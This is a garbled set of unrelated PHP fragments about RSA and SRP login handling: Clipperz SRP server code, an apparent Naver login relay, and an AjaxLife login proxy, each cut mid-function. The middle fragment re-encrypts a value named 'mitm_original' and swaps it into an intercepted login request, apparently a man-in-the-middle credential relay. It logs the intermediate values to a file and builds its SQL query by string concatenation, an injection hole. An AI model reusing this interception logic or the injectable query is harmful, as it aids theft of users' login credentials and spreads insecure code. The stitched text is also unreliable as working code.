$_SESSION["s"] = "112233445566778899aabbccddeeff00112233445566778899aabbccddeeff00"; $_SESSION["v"] = "112233445566778899aabbccddeeff00112233445566778899aabbccddeeff00"; } $_SESSION["b"] = clipperz_randomSeed(); // $_SESSION["b"] = "5761e6c84d22ea3c5649de01702d60f674ccfe79238540eb34c61cd020230c53"; $_SESSION["B"] = dec2base(bcadd(base2dec($_SESSION["v"], 16), bcpowmod($srp_g, base2dec($_SESSION["b"], 16), $srp_n)), 16); $result["s"] = $_SESSION["s"]; $result["B"] = $_SESSION["B"]; //============================================================= } else { if ($message == "credentialCheck") { $u = clipperz_hash(base2dec($_SESSION["B"], 16)); $A = base2dec($_SESSION["A"], 16); $S = bcpowmod(bcmul($A, bcpowmod(base2dec($_SESSION["v"], 16), base2dec($u, 16), $srp_n)), base2dec($_SESSION["b"], 16), $srp_n); $K = clipperz_hash($S); $M1 = clipperz_hash($A . base2dec($_SESSION["B"], 16) . $K); //$result["B"] = $_SESSION["B"]; //$result["u"] = $u; //$result["A"] = $A; //$result["S"] = $S; //$result["K"] = $K; //$result["M1"] = $M1; //$result["_M1"] = $parameters["parameters"]["M1"]; if ($M1 == $parameters["parameters"]["M1"]) { $_SESSION["K"] = $K; $M2 = clipperz_hash($A . $M1 . $K); $result["M2"] = $M2; $result["connectionId"] = ""; $result["loginInfo"] = array(); $result["loginInfo"]["latest"] = array(); $result["loginInfo"]["current"] = array();
function bin2bc($num) { return base2dec($num, MAX_BASE); }
} // die(); $query = "SELECT * FROM naver_key WHERE session_key = '" . $session_key_org . "' ORDER BY key_id DESC LIMIT 1"; if ($offline_mode == 1) { $query = "SELECT * FROM naver_key ORDER BY key_id DESC LIMIT 1"; } $naver_keys = $dbh->query($query); foreach ($naver_keys as $row) { } $naver_key = $row; // if ($naver_key == "") { // die("no session key " . $session_key_org); // } $new_pub = $naver_key['rsa_key2']; fwrite($fp, sprintf("new_pub = %s\n", $new_pub)); $new_pub2 = base2dec($new_pub, 16); fwrite($fp, sprintf("new_pub2 = %s\n", $new_pub2)); $new_enc = rsa_encrypt($mitm_original, $modulus, $new_pub2, 808); fwrite($fp, sprintf("new_enc = %s\n", $new_enc)); $new_enc_hexa = dec2base($new_enc, 16); fwrite($fp, sprintf("new_enc_hexa = %s\n", $new_enc_hexa)); $content = str_replace($mitm_rsa, $new_enc_hexa, $content); fwrite($fp, sprintf("content = %s\n", $content)); // if ($offline_mode == 1) die(); // encrypt with original id/pw } $r->setBody($content); # $r->addPostFile('image', 'profile.jpg', 'image/jpeg'); $b = $r->send(); try { # foreach ($b->getHeaders() as $hk => $kv) {
<?php define('AJAXLIFE_SERVER', 'http://ajaxlife.net:8080'); header("Content-Type: application/json"); require_once 'RSA.php'; $details = @file_get_contents(AJAXLIFE_SERVER . '/api/newsession'); if ($details === false) { die(json_encode(array('success' => false, 'message' => 'Could not connect to AjaxLife server.'))); } $details = json_decode($details); $toencrypt = $details->Challenge . '\\' . base64_encode($_POST['first']) . '\\' . base64_encode($_POST['last']) . '\\' . $_POST['pass'] . '\\' . rand(); $encrypted = rsa_encrypt($toencrypt, base2dec($details->Exponent, 16), base2dec($details->Modulus, 16), 1024); $encrypted = dec2base($encrypted, 16); $curl = curl_init(AJAXLIFE_SERVER . '/api/login'); curl_setopt_array($curl, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_POST => true)); $post = array('session' => $details->SessionID, 'logindata' => $encrypted, 'location' => 'last', 'grid' => $details->DefaultGrid, 'events' => 'FriendOnOffline,Disconnected,InstantMessage,SpatialChat'); $post = http_build_query($post, '_', '&'); curl_setopt($curl, CURLOPT_POSTFIELDS, $post); $return = curl_exec($curl); curl_close($curl); $json = json_decode(trim($return)); if ($json->success) { print json_encode(array('success' => true, 'next' => AJAXLIFE_SERVER . '/iphone.kat', 'sid' => $details->SessionID)); } else { print $return; }
function bin2bc($num) { return base2dec($num, 128); }